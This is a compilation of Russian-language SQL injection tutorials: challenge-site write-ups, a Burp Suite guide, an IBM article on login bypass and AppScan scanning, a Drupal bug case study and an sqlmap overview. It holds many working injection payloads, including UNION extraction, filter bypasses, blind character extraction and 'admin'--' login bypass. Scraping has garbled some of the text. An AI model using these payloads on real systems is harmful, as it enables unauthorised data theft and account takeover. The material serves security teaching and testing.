Решение задач по sql injection с сайта alexbers.com/sql / Habr
Хочу поделиться с «Хабрахабром» примером своих решений задач по sql-инъекциям с сайта alexbers.Пример 1: www.alexbers.com/sql/1.php
Это даже и не пример. Требуется самому написать запрос с заранее известными всем таблицами, именем пользователя.
Дано: Таблица: users Поля: id,login,pass
Решение:
select * from users where
а ссылка будет выглядеть вот так:
https://www.alexbers.com/sql/1.php?text=select+*+from+users+where+id%3D%2712%27
Просто запрос со всеми данными, которые нам заведомо известны.
Пример 2: www.alexbers.com/sql/qnbutn2.php
Нам продемонстрирован запрос:
select * from users where id=2 or login='$text'
Дано:
Таблица: users Поля: id,login,pass Требование: Ура, я знаю ответ(пароль юзера с id=9):
В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:
https://www.alexbers.com/sql/qnbutn2.php?text=-1' or -1' or
Мы пытаемся извлечь из таблицы users пользователя с
id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса. Поскольку пользователя -1id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.Пример 3: www.alexbers.com/sql/sdjjy3.php
Опять виден запрос:
select * from users where id=2 or login='$text' limit 1
Дано:
Таблица: users Поля: id,login,pass Требование: Ура, я знаю ответ(пароль юзера с id=13):
Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.
Решение:
https://www.alexbers.com/sql/sdjjy3.php?text=-1' or id=13 -- 123
Вид запроса:
select * from users where id=2 or login='-1' or id=13 -- 123' limit 1
Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13.
Пример 4: www.alexbers.com/sql/qjqhweh5.php
Запрос:
select * from users where id=2 or login='$text' limit 1
Дано:
Таблицы: users, secret Поля: id,login,pass - это в users. В таблице secret - 3 поля Требование: Ура, я знаю ответ(данное секретной таблицы с полем ggg=abc):
Чуток поинтересней. Теперь у нас 2 таблицы и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объединением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Воспользуемся оператором
UNIONggg=abc. Количество полей в столбцах одинаково, потому запрос примет вид:Запрос:
https://www.alexbers.com/sql/qjqhweh5.php?text=-1'+union+select+* from secret where ggg='abc'+--+123
Один из результатов и будет ответом на уровень.
Пример 5: www.alexbers.com/sql/sdfkjsdk5.php
Запрос:
select * from users where id=2 or login='$text' limit 1
Дано:
Таблицы: users, secret Поля: id,login,pass - это в users. В таблице secret - 2 поля Требование: Ура, я знаю ответ(данное секретной таблицы):
Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице
users, извлечем список всех колонок для секретной таблицы. В данный момент у нас нет одинакового количества колонок, поэтому union надо использовать по-другому.https://www.alexbers.com/sql/sdfkjsdk5.php ?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123
Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:
https://www.alexbers.com/sql/sdfkjsdk5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123
Видим ответ.
Пример 6: www.alexbers.com/sql/skldj6
Запрос:
select * from users where id=$text limit 1
Дано:
Таблицы: users Поля: id,login,pass - это в users. Фильтруются кавычки, выводится только 1 строка из БД Требование: Ура, я знаю ответ(пароль пользователя с ником god):
Здесь видно непонимание принципов работы фильтра
mysq_real_escape_string, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны, для текстовых полей можно будет использовать функцию CHAR() или перевести в hex.https://www.alexbers.com/sql/skldj6.php?text=-1 union select id,login,pass from users where login=0x676f64
Пример 7: www.alexbers.com/sql/dsfhsdjkf7.php
Дано:
Таблицы: users Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся) Фильтруются символы ',",+,=,запятая,пробел,скобки Требование: Ура, я знаю ответ(пароль пользователя, с ником, содержащим в себе gentoo):
Запрос:
select * from users where id=$text limit 1
Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комметарии
/**/ и /*!*/, остается только одна проблема — фильтруется знак равенства. Но его можно обойти, используя оператор like. Сравние со строкой предполагает кавычки, поэтому закодируем ее в hex. Также, нам доподлинно неизвестен ник, который мы ищем, поэтому будем использовать поиск по маске со значком %https://www.alexbers.com/sql/dsfhsdjkf7.php?text=-1/*!or/*!login*/like/**/0x2567656e746f6f25
Пример 8: www.alexbers.com/sql/qqqwwweeerrr8.php
Запрос:
select * from users where id=$text
Дано:
Таблицы: users Поля: id,login,pass - это в users. Подсказка: сообщения от ошибках не выведутся Требование: Ура, я знаю ответ(пароль пользователя, с ником fast)
Единственное, что нам вообще что-то выводится — информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число, которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все, чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii–вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией
mid()ascii(), вектор атаки получится вот таким:https://www.alexbers.com/sql/qqqwwweeerrr8.php ?text=-1 or id<=(select ascii(mid(pass,1,1)) from users where login='fast')
Вывод даст нам ascii-представление первого символа пароля. Дальше делаем запрос для второго и т.д.
Пример 9: www.alexbers.com/sql/almost9.php
Таблицы: users Поля: id,login,pass - это в users. Запрос: select * from users where id=$text Требуется: "Ура, я знаю ответ (числовая сумма логинов пользователей с 20<=id<=30)".
То есть нам надо вытащить числовое значение каждого логина и сложить. При этом будем оперировать следующим сравнением:
Вектор атаки разделяется на 2 запроса:
https://www.alexbers.com/sql/almost9.php ?text=-1 or id <= cast((select sum(login) from users where id between 20 and 30) as signed INTEGER)/10 https://www.alexbers.com/sql/almost9.php ?text=-1 or id <= MOD(cast((select sum(login) from users where id between 20 and 30) as signed INTEGER),10)
Всего в таблице 1069 записей, поэтому мы не сможем вывести ответ за один
пример 10
Решение 10й задачи описано уже на ютубе, посмотреть можно вот здесь: www.youtube.com/watch?v=dLSxTGvwcLw
habr.com
[8] Burp Suite: Примеры SQL Инъекций
Приветствую всех гостей и обитателей портала Codeby!В этой части цикла об Burp Suite я расскажу, что такое SQL-инъекция (ну надо так, знаю, что все прекрасно знают, что такое SQL и как их пользовать), опишу некоторые распространенные примеры, объясню, как найти и использовать различные виды уязвимостей SQL-инъекций, и подведу итоги, показав как предотвратить внедрение SQL.
Что такое SQL-инъекция?
Внедрение SQL — это web-уязвимость, которая позволяет злоумышленнику вмешиваться в запросы, которые приложение выполняет в своей базе данных. Как правило, злоумышленник может просматривать данные, которые он обычно не может получить. Это может включать данные, принадлежащие другим пользователям, или любые другие данные, к которым само приложение имеет доступ. Во многих случаях злоумышленник может изменить или удалить эти данные, что приводит к изменениям содержимого или поведения приложения.
В некоторых ситуациях злоумышленник может усилить атаку с использованием SQL-инъекции, чтобы поставить под угрозу базовый сервер или другую внутреннюю инфраструктуру или выполнить атаку типа «отказ в обслуживании».
Получение скрытых данных.
Рассмотрим приложение для покупок, которое отображает товары в разных категориях. Когда пользователь нажимает на категорию «Подарки», его браузер запрашивает URL:
Код:
https://insecure-website.com/products?category=GiftsКод:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1- Все детали (*)
- Из таблицы «Продукты»
- В категории «Подарки»
- Которые актуальны — released = 1
Приложение не обеспечивает никакой защиты от атак с использованием SQL-инъекций, поэтому злоумышленник может провести такую атаку:
Код:
https://insecure-website.com/products?category=Gifts'--Код:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1Это означает, что отображаются все продукты, включая невыпущенные.
Далее, злоумышленник может заставить приложение отображать все продукты в любой категории, включая категории, которые ему неизвестны:
Код:
https://insecure-website.com/products?category=Gifts'+OR+1=1--Код:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1Поскольку 1 = 1 всегда верно, запрос вернет все элементы.
Пример ниже содержит уязвимость внедрения SQL в фильтре категорий продуктов. Когда пользователь выбирает категорию, приложение выполняет запрос SQL, подобный следующему:
Код:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1Переходим на уязвимый сайт:
И с помощью Burp Suite перехватываем запрос при переходе в раздел Accessories:
Изменяем параметр Accessories, внедряя в него SQL запрос:
Отправляем запрос на сервер и получаем список товаров недоступный нам ранее:
Подрыв логики приложения.
Рассмотрим приложение, которое позволяет пользователям входить в систему с именем пользователя и паролем. Если пользователь отправляет имя пользователя wiener и пароль bluecheese, приложение проверяет учетные данные, выполняя следующий запрос SQL:
Код:
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'В этом примере, злоумышленник может войти в систему как любой пользователь без пароля, просто используя последовательность комментариев SQL — чтобы удалить проверку пароля из предложения WHERE запроса.
Для проверки, отправим имя пользователя administrator— — экранируя проверку пароля комментарием, чтобы осуществить вход с пустым паролем:
Код:
SELECT * FROM users WHERE username = 'administrator'-- AND password = ''Проверим это на практике:
Перехватываем запрос логин и модифицируем параметр Username и Password:
Отправляем запрос и получаем ожидаемый результат:
Тема SQL инъекций прорабатываемых с помощью Burp Suite остаточно обширна, и в следующих статьях я подробно расскажу о каждой технике, её применении и что самое главное, как защитить свой ресурс от подобного вида атак.
Следите за обновлениями, спасибо за внимание.
codeby.net
Противодействие атакам, использующим SQL-инъекции
Защитите свои сайты от широко распространенных эксплойтов
M. Джонс
Опубликовано 11.07.2014
Как правило, атаки с использованием SQL-инъекции весьма просты, поэтому удивительно, что они до сих пор остаются одним из наиболее распространенных и наиболее опасных видов атак, доступных компьютерным взломщикам. Список жертв этих атак практически совпадает с перечнем крупнейших Интернет-компаний. Жертвами этого хорошо известного эксплойта становились даже самые защищенные веб-сайты, в том числе сайты LinkedIn, Yahoo!, ФБР и НАСА. Один из самых масштабных случаев применения SQL-инъекции имел место в 2011 году на веб-сайте Sony PlayStation Network. С помощью SQL-инъекции взломщики получили доступ к 77 миллионам учетных записей пользователей (и к сопутствующим личным данным). В результате одного только простоя по причине этой атаки компания Sony недополучила доходов на миллионы долларов. Совокупный ущерб от атак с использованием SQL-инъекций на веб-сайты, среди которых сайты крупных банков, сайты социальных сетей и т. д., исчисляется миллиардами долларов США.
Суть атаки на основе SQL-инъекции
Рассмотрим простую атаку с использованием SQL-инъекции, чтобы понять принципы ее работы. Этот тип атакующего эксплойта манипулирует запросом к базе данных на основе вводимых пользователем данных с применением некорректно фильтруемых escape-символов.
На рис. 1 показана простая атака с использованием SQL-инъекции. С точки зрения архитектуры пользователь при посредстве веб-клиента взаимодействует по протоколу HTTP с фронтендом веб-сервера, который, в свою очередь, взаимодействует с бэкендом в виде SQL-сервера. В ситуации входа пользователя в систему этот фронтенд веб-сервера применяет предоставляемую пользователем информацию при построении SQL-запроса. Как правило, защищенный веб-сервер требует от каждого пользователя, чтобы он аутентифицировал себя в системе, представив имя пользователя и пароль. Обычно веб-сервер выполняет следующую SQL-операцию (в которой uname и pword являются входными переменными):
select * from Users where userid=’uname’ AND password= ‘pword’;
Введя в эту веб-форму определенным образом подобранную информацию, злоумышленник может обойти намерения разработчика и модифицировать исполняемый запрос. В примере на рис. 1 я изменил условие запроса, чтобы запросить все записи. Для этого я использовал выражение OR (которое всегда имеет значение true) и с помощью комментария деактивировал проверку пароля.
Рисунок 1. Иллюстрация простой атаки с использованием SQL-инъекции
Этот простой пример позволяет увидеть, как данные, вводимые в форму на веб-странице, способны эксплуатировать уязвимость при обмене с внутренней системой в виде SQL-базы данных. Результатом выполнения показанной выше операции является список всех записей, удовлетворяющих моему выражению, т. е. база данных всех пользователей. Теперь посмотрим, как SQL-инъекция эксплуатирует уязвимость веб-сайта, чтобы увидеть работу этого механизма в реальных условиях.
Демонстрация атаки с использованием SQL-инъекции
Как показано на рис. 1, SQL-инъекция использует введенные пользователем некорректные данные для получения разрешения на прямое взаимодействие с внутренней базой данных. Теперь проведем эксперимент на веб-сервере. В качестве площадки для проведения демонстрационного тестирования мы будем использовать веб-сайт вымышленного банка Altoro Mutual
(http://demo.testfire.net). Банк применяет производственную версию веб-сервера, которая имеет естественные уязвимости.
Для начала откройте в своем веб-браузере этот целевой сайт. Вы увидите страницу приветствия, показанную на рис. 2. В правой части верхней строки находится ссылка Sign In, которая является нашей целью в этом примере. При нажатии на эту ссылку вы попадаете на страницу входа в систему.
Рисунок 2. Веб-сайта банка Altoro Mutual: начальная страница
На странице входа в систему (рис. 3) с помощью плагина Firebug браузера Mozilla Firefox можно увидеть, что веб-сайт выполняет валидацию полей с помощью JavaScript-функции confirminput.
Рисунок 3. Изучение исходного кода страницы с помощью плагина Firebug
При попытке ввести пробелы в любом из этих полей появляется сообщение о недопустимости использования пробелов для полей. Проработаем эту идею более детально. Попробуйте ввести в поле пароля произвольное имя пользователя и специальный символ, чтобы увидеть реакцию приложения. В данном случае (см. рис. 4), я ввел тестовое имя пользователя (donald) и пароль, состоящий из символа (‘).
Рисунок 4. Сообщение об ошибке при вводе символа (‘) в поле Password
Вместо краткого сообщения о некорректном сочетании имени пользователя и пароля веб-сервер великодушно предоставляет подробную информацию о SQL-запросе. В частности, использование символа (‘) нарушило синтаксис запроса для параметра password к внутренней базе данных. Вы можете увидеть ошибку в конструкции WHERE, которая показана в следующем SQL-запросе:
query = SELECT User FROM Users WHERE Username = 'donald' AND Password = '''
Вы можете воспользоваться этим знанием, чтобы оценить уязвимость этого процесса. В языке SQL символы (--) служат признаком комментария. Признак комментария дает указание SQL-базе данных проигнорировать остальную часть текущей строки.
С целью успешного выполнения запроса без знания пароля можно попытаться использовать SQL-комментарий для отбрасывания фрагмента запроса — а именно, фрагмента с паролем. Из предыдущего примера мы знаем, что ввод символа (‘) нарушил запрос. С учетом этого измените запрос, вставив определенный SQL-код в поле Username. В данном случае я ввел don'-- в поле Username, а затем произвольную информацию в поле Password. В результате веб-сервер выдал сообщение об ошибке, показанное на рис. 5.
Рисунок 5. Сообщение об ошибке после вставки SQL-кода в поле Username
Вместо того чтобы вызывать исключение (как я сделал на рис. 4), теперь я изменяю запрос таким образом, чтобы он воспрепятствовал намерениям разработчика. Теперь внутри системы этот запрос будет выглядеть следующим образом:
query = SELECT User FROM Users WHERE Username = 'don'--' AND Password = '*'
Как показано в этом примере, простое добавление символов (‘—) в поле Username сделало фрагмент запроса с паролем несущественным, тем не менее, этот запрос передается в базу данных как успешный. Опираясь на эту информацию, предположим, что в системе имеется административная учетная запись с именем admin. Если вы выполните эту же операцию, но с именем пользователя admin’—, то сможете успешно войти в систему по этой учетной записи и увидеть имя пользователя admin, найти другие сведения об учетной записи admin и использовать учетную запись admin в качестве собственной учетной записи.
Итак, с помощью скромных познаний в области SQL вы успешно обошли внутреннюю проверку на ошибки незащищенного веб-сайта и аутентифицировали себя в качестве его администратора без знания соответствующего пароля. Если учетная запись admin не существует (или недоступна извне), мы можем получить доступ к первой учетной записи в таблице Users с помощью немного усложненного имени пользователя. В этом случае мы изменим запрос таким образом, чтобы предоставляемое условие всегда имело значение true. Этот результат достигается вводом имени пользователя вида ' OR 1=1--. Хотя эта уязвимость и не предоставит вам привилегий администратора, она обеспечит более глубокий доступ к веб-сайту и возможность поиска дальнейших уязвимостей.
Тестирование уязвимостей
Ознакомительная версия продукта AppScan Standard
IBM Security AppScan — передовой пакет средств для тестирования безопасности приложений, обеспечивающий управление тестированием уязвимостей на всем протяжении жизненного цикла разработки программного обеспечения. IBM Security AppScan автоматизирует оценку уязвимостей и сканирование/тестирование веб-приложений на наличие всех широко распространенных уязвимостей, включая SQL-инъекции, межсайтовый скриптинг, переполнение буфера, а также уязвимостей в новых flash/flex-приложениях и приложениях Web 2.0.
Решение AppScan охватывает все уязвимости из перечня Top 10 организации OWASP на 2013 год. Наше решение поддерживает стандартный отраслевой протокол TLS 1.2 (Transport Layer Security), а также соответствует стандарту FIPS 140-2 (Federal Information Publication Standard) и стандарту SP 800-131a (Special Publication) организации NIST (National Institute of Standards and Technology).
Загрузите ознакомительную версию продукта AppScan Standard.
В предыдущем примере была проиллюстрирована простая атака на производственный веб-сервер. К сожалению, эта простая атака является лишь одной из множества возможных. Теперь я покажу, каким образом можно легко осуществить проверку приложения на наличие уязвимостей с помощью продукта IBM® Security AppScan® Standard.
Установка продукта Security AppScan Standard
Первый шаг установки продукта Security AppScan Standard состоит в его загрузке с веб-сайта IBM developerWorks (соответствующая ссылка приведена в разделе Ресурсы). Базовые инструкции по загрузке выглядят следующим образом.
- В используемом вами браузере с поддержкой Java™ перейдите на веб-сайт Security AppScan.
- На вкладке Evaluate нажмите Download Now.
- Выполните вход в систему или процесс регистрации.
- На странице Security Systems Products выберите IBM Security AppScan Standard V8.8 Windows Multilingual
evaluation, а затем нажмите Download Now.
Откроется окно апплета, которое может запросить у вас разрешение на исполнение данного апплета.
- При первом запуске утилиты IBM Download Director вам будет предложено выбрать местоположение по умолчанию для загрузки. Нажмите OK, чтобы подтвердить местоположение по умолчанию.
- После завершения загрузки вы увидите окно, из которого можно запустить загруженный файл. Нажмите Yes.
- Выберите язык установки (см. рис.
6).
Рисунок 6. Выбор предпочтительного языка установки
Приложение готовится к установке, распаковывает образ и начинает процесс.
- Примите условия лицензионного соглашения (см. рис. 7) и нажмите Next.
Рисунок 7. Лицензионное соглашение об использовании программного обеспечения
- В следующем окне нажмите Install и используйте местоположение по умолчанию.
Начнется полная установка программного обеспечения.
- Перед завершением установки вам будет предложено загрузить дополнительный компонент для сканирования веб-сервисов. В этом примере нажмите No.
Следующий шаг может потребовать нескольких минут на установку лицензии, после чего вы увидите окно завершения (рис. 8).
Рисунок 8. Завершение установки
- Для завершения установки нажмите Finish.
Примечание: Вам также понадобится пакет Microsoft® .NET Framework 4.5 (соответствующая ссылка приведена в разделе Ресурсы).
После завершения установки следующий шаг состоит в конфигурировании продукта Security AppScan Standard и запуске процедуры сканирования.
Конфигурирование продукта Security AppScan Standard и запуск процедуры сканирования
После установки продукта Security AppScan Standard проведите его конфигурирование, а затем начните сканирование целевого веб-сайта.
Для запуска продукта Security AppScan Standard нажмите на его пиктограмму на своем рабочем столе или выберите Start > IBM Security AppScan Standard). Вы увидите экран приложение со всплывающим окном в центре (см. рис. 9). Я рекомендую сначала нажать на ссылку Getting Started (PDF), чтобы загрузить на свой компьютер вводное руководство. Это прекрасный справочник для знакомства с приложением Security AppScan, его базовыми принципами, его конфигурированием, процессом проведения сканирования и порядком интерпретации полученных результатов. После загрузки этого документа переходите к следующему этапу.
Рисунок 9. Всплывающее окно Security AppScan Standard
Чтобы запустить сканирование, нажмите на Create New Scan во всплывающем окне, показанном на рис. 9. После нажатия на эту ссылку откроется окно New
Scan (см. рис. 10).
Проведите сканирование атакованного ранее сайта demo.testfire.net, для чего нажмите на ссылку в верхнем левом углу под заголовком Recent
Templates.
Рисунок 10. Создание процедуры сканирования
Вы увидите окно мастера Configuration Wizard (см. рис. 11). Опция Web Application Scan уже выбрана, поэтому нажмите Next для перехода к следующему этапу.
Рисунок 11. Окно Welcome to the Configuration Wizard
Появилась панель URL and Servers (см. рис. 12). На ней показан URL-адрес, который вы используете для начала сканирования, а также уже активированная опция Case-Sensitive Path Оставьте все остальные значения по умолчанию и нажмите Next.
Рисунок 12. Панель URL and Servers
Появится панель Login Management (см. рис. 13). Для параметра Login Method, оставьте уже выбранную опцию Recorded, что позволит приложению Security AppScan Standard автоматически подключаться в качестве пользователя. Кроме того, вы можете воспользоваться опцией Prompt, если ваш конкретный сайт использует однократный пароль или механизм CAPTCHA. Для перехода к следующему этапу нажмите Next.
Рисунок 13. Панель Login Management
Появится панель Test Policy. В правой верхней части окна в поле Test Policy указана опция Default, а в окошках Send tests on login and logout pages и Clear session identifiers before testing login pages установлены флажки. Для перехода к следующему этапу нажмите Next.
Рисунок 14. Панель Test Policy
Появится панель Complete, что означает конец конфигурирования. Выберите опцию Start a full automatic scan, а затем поставьте флажок Start Scan Expert when Scan Configuration Wizard is complete (см. рис. 15). Нажмите Finish для начала сканирования. В окне Auto Save нажмите Yes и укажите AltoroJ в качестве имени файла сканирования, а затем нажмите Save.
Рисунок 15. Панель Complete
В процессе своего исполнения компонент Scan Expert заполняет основное окно результатами (см. рис. 16). Поскольку данный веб-сайт сканируется на исследовательской стадии, продукт Security AppScan Standard формирует набор рекомендаций (показанный в нижней части окна). Вы можете оставить флажки у этих рекомендаций, а затем, после завершения сканирования, нажать на Apply Recommendations в нижнем правом углу окна с целью их применения.
Рисунок 16. Окно Scan Expert
После нажатия на Apply Recommendations панель Scan Expert Recommendations исчезает и начинается сканирование. В нижней части окна демонстрируется ход выполнения сканирования, название текущей фазы и истекшее время сканирования. В самой нижней строке представлена интересующая нас информация — в частности, 98 проблем безопасности (34 проблем высокой степени важности, 18 проблем средней степени важности, 31 проблем низкой степени важности и 15 проблем информационного характера), выявленных при выполнении первой фазы всего лишь на 51%. После завершения сканирования (после выполнения фазы 1 будут выполнены фазы 2 и 3) появятся результаты, показанные на рис. 17.
Рисунок 17. Ход выполнения сканирования
На рис. 17 в правом верхнем углу окна появились три пиктограммы. Эти три пиктограммы позволяет изменить представление результатов: Data соответствует необработанным данным, Issues соответствует обнаруженным проблемам, а Tasks соответствует списку рекомендаций по устранению проблем. После нажатия на пиктограмму Issues вы увидите список проблем, нуждающихся в устранении. В частности, вы увидите список проблем типа SQL Injection, выявленных продуктом Security AppScan Standard (их общее количество составляет 33, что существенно больше, чем тот единственный эксплойт, который я демонстрировал раньше в этой статье). Вы также увидите (см. рис. 18), что после выполнения всех фаз сканирования продукт Security AppScan Standard выявил 337 проблем безопасности, из которых 114 имеют высокую степень важности.
Рисунок 18. Выявленные проблемы типа SQL Injection
Вкладки в правой части окна предоставляют огромный объем информации. Вкладка Advisory содержит перечень вероятных причин выявленных ошибок с техническим описанием каждой выявленной ошибки, включая примеры эксплойтов (в том числе ссылки на еще более подробную информацию). Вкладка Fix Recommendation предоставляет дополнительную информацию для различных сред с целью избежания определенных ситуаций. Эти ключевые средства Security AppScan Standard предоставляют список выявленных уязвимостей, а также предлагают подробную информацию по применению эксплойтов и по стратегиям их предотвращения/устранения.
Заключение
В статье были показаны мощные возможности продукта Security AppScan. В дополнение к обеспечению лучшего в своем классе сканирования уязвимостей (данная статья лишь слегка коснулась этих возможностей) продукт Security AppScan представляет массу информации по эксплойтам, по их применению и по стратегиям их устранения. Несмотря на то, что сегодня веб-сайты находятся под постоянной угрозой, инструменты, подобные Security AppScan, позволяют существенно продвинуться в деле развертывания защищенных и надежных веб-приложений.
Ресурсы для скачивания
Похожие темы
Подпишите меня на уведомления к комментариям
www.ibm.com
SQL иньекции. Виды и примеры использования. Уроки хакинга. Глава 8. – Cryptoworld
foreach($dataas$i=>$value){ […] $new_keys[$key.’_’.$i]=$value;4} |
Видите ошибку (я не увидел)? Разработчики предположили, что массив данных всегда будет содержать цифровые ключи, такие, как 0, 1, 2, и так далее. (значение $i) и они присоединили переменную $key к $i и сделали его равным $value. Вот как выглядит типичный запрос от функции db_query, встроенной в Drupal:
1 db_query(”SELECT*FROM{users}WHEREnameIN(:name)”, 2 array(’:name’=>array(’user1’,’user2’))); |
Здесь функция db_query принимает запрос к БД SELECT * FROM {users} where name IN (:name) и массив значений, чтобы заменить болванки в запросе. В PHP, когда вы объявляюте массив как array(‘value’, ‘value2’, ‘value3’), он на самом деле создает [0 ⇒ ‘value’, 1 ⇒ ‘value2’, 2 ⇒ ‘value3’], где каждое значение доступно по цифровому ключу. В этом случае, переменная :name была заменена значениями в массиве [0 ⇒ ‘user1’, 1 ⇒ ‘user2’]. В результате мы получаем:
SELECT*FROMusersWHEREnameIN(:name_0,:name_1) |
Пока неплохо. Проблема возникает, когда вы получаете массив, который не содержит цифровых ключей, как следующий:
1 db_query(”SELECT*FROM{users}wherenameIN(:name)”, 2 array(’:name’=>array(’test)-’=>’user1’,’test’=> 3 ’user2’))); |
В этом случае, :name является массивом и его ключи таковы: ‘test) –’, ‘test’. Вы видите, куда все идет? Когда Drupal получает это и обрабатывает массив, создавая запрос, мы получаем следующее:
SELECT*FROMusersWHEREnameIN(:name_test)-,:name_test) |
Может быть непросто увидеть, почему это так, так что давайте углубимся в детали. Основываясь на foreach, описанном выше, Drupal пройдется по всем элементам в массиве, один за другим. Далее, для первой итерации $i = test) – и $value = user1. Теперь, $key равен (:name) из запроса, и в сочетании с $i мы получаем name_test) –. Для второй итерации $i = test и $value = user2. В комбинации $key с $i мы получаем name_test. В результате болванка с :name_test, равная user2.
[ad name=”Responbl”]
Теперь, когда мы немного разобрались в этом, суть в том, что Drupal оборачивал поступающие объекты PHP PDO, потому что PDO позволяет это для нескольких запросов. Атакующий мог передать вредоносный ввод, вроде настоящего SQLзапроса на создание администраторского пользователя в качестве ключа массива, он был бы интерпретирован и выполнен как множество запросов.
Выводы
SQLi становится труднее найти, по крайней мере, судя по отчетам исследователей для этой книги. Этот пример был интересен, поскольку дело не просто в отправке одиночной кавычки и порче запроса. Скорее, дело в том, как код Drupal обрабатывал передаваемые внутренним функциям массивы. Это непросто заметить при слепом тестировании (где у вас нет доступа к коду). Вывод из этого следующий: ищите возможности к изменению структуры передаваемого сайту ввода. Там, где URL принимает ?name в качестве параметра, попробуйте передать массив вроде ?name[], чтобы посмотреть, как сайт с этим справится. Это может не выявить SQLi, но может привести к другому интересному поведению.
[ad name=”Responbl”]
SQL иньекции Итоги
cryptoworld.su
SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (часть 1)
SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (2 часть)
Sqlmap является инструментом для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации недостатков SQL-инъекций и захвата серверов баз данных.
Он оснащен мощным механизмом обнаружения, множеством функций конечного тестировщика на проникновения и широким спектром коммутаторов, который начинается от определения базы данных и выбора данных из нее, вплоть до доступа к базовой файловой системе и выполнения команд в операционной системе через внеполосное соединение.
Будущее инструмента:
- Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB и Informix.
- Полная поддержка шести методов SQL-инъекций: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries и out-of-band.
- Поддержка прямого подключения к базе данных без прохождения через SQL-инъекцию, путем предоставления учетных данных СУБД (система управления базой данных (DBMS)), IP-адреса, имени порта и названия базы данных.
- Поддержка перечисления пользователей, хэшей паролей, прав доступа, ролей, баз данных, таблиц и столбцов.
- Автоматическое распознавание хэш-форматов пароля и поддержка их взлома при использовании атаки перебора по словарю (dictionary-based attack).
- Поддержка полного сброса таблиц базы данных, диапазон записей для сброса или конкретных столбцов выбирает пользователь. Также пользователь может выбрать сброс всего диапазона символов из каждой записи столбца.
- Поддержка поиска конкретных имен баз данных, конкретных таблиц во всех базах данных или отдельных столбцах во всех таблицах баз данных. Это довольно полезно, например, для определения таблиц, содержащих пользовательские учетные данные приложения, где имена соответствующих столбцов содержат строку, такую как имя и пароль.
- Поддержка скачивания (download) и загрузки (upload) любого файла с базы данных, лежащей в основе файловой системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка выполнения случайных команд и получение их стандартного вывода на сервере базы данных, лежащем в основе операционной системы, когда программным обеспечением базы данных являются MySQL, PostgreSQL или Microsoft SQL Server.
- Поддержка создания внеполосного TCP-соединения с учетом его состояния между машиной злоумышленника и сервером базы данных, лежащим в основе операционной системы. Этот канал может быть интерактивной командной строкой, сеансом Meterpreter или сеансом графического интерфейса пользователя (VNC) по выбору пользователя.
- Поддержка увеличения прав доступа пользователей базы данных с помощью команды metasploit Meterpreter getsystem.
sqlmap способна определять и эксплуатировать пять различных типов SQL инъекций, таких как:
Boolean-based blind:
- sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую субпредложение SELECT, или любое другое предложение SQL, пользователь которого хочет получить вывод.
- Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Кроме того, пользователь может предоставить строку или регулярное выражение для соответствия на настоящих страницах.
- Алгоритм деления пополам, реализованный в sqlmap для выполнения этой методики, способен извлекать каждый символ вывода с максимальным количеством семи HTTP-запросов.
- Если вывод не находится в четкой текстовой кодировке, sqlmap будет адаптировать алгоритм с более большим диапазонами для определения вывода.
- sqlmap заменяет или добавляет к пораженному параметру в HTTP-запросе, синтаксически корректную строку предложения SQL, содержащую запрос, который приостанавливает внутренний СУБД (система управления базой данных (DBMS)) на определенное количество секунд.
- Для каждого отклика HTTP путем сопоставления headers/body HTTP-отклика с исходным запросом инструмент выводит вывод введенного предложения символ за символом. Как и для Boolean-based метода, применяется алгоритм деления пополам.
- sqlmap заменяет или добавляет к пораженному параметру конкретное сообщение об ошибке базы данных, вызывая предложения и анализируя headers и body отклика HTTP в поисках сообщений об ошибках СУБД (система управления базой данных (DBMS)), содержащих введенную предварительно определенную цепочку символов и вывод подзапроса предложения внутри.
- Этот метод работает только тогда, когда веб-приложение настроено для раскрытия системных сообщений об ошибках системы управления базой данных.
- sqlmap заменяет или добавляет к пораженному параметру синтаксически корректную строку предложения SQL, которая начинается с UNION ALL SELECT. Этот метод работает, когда страница веб-приложения передает непосредственно вывод предложения SELECT в цикле for или аналогично, так что каждая строка вывода запроса печатается на содержимом страницы.
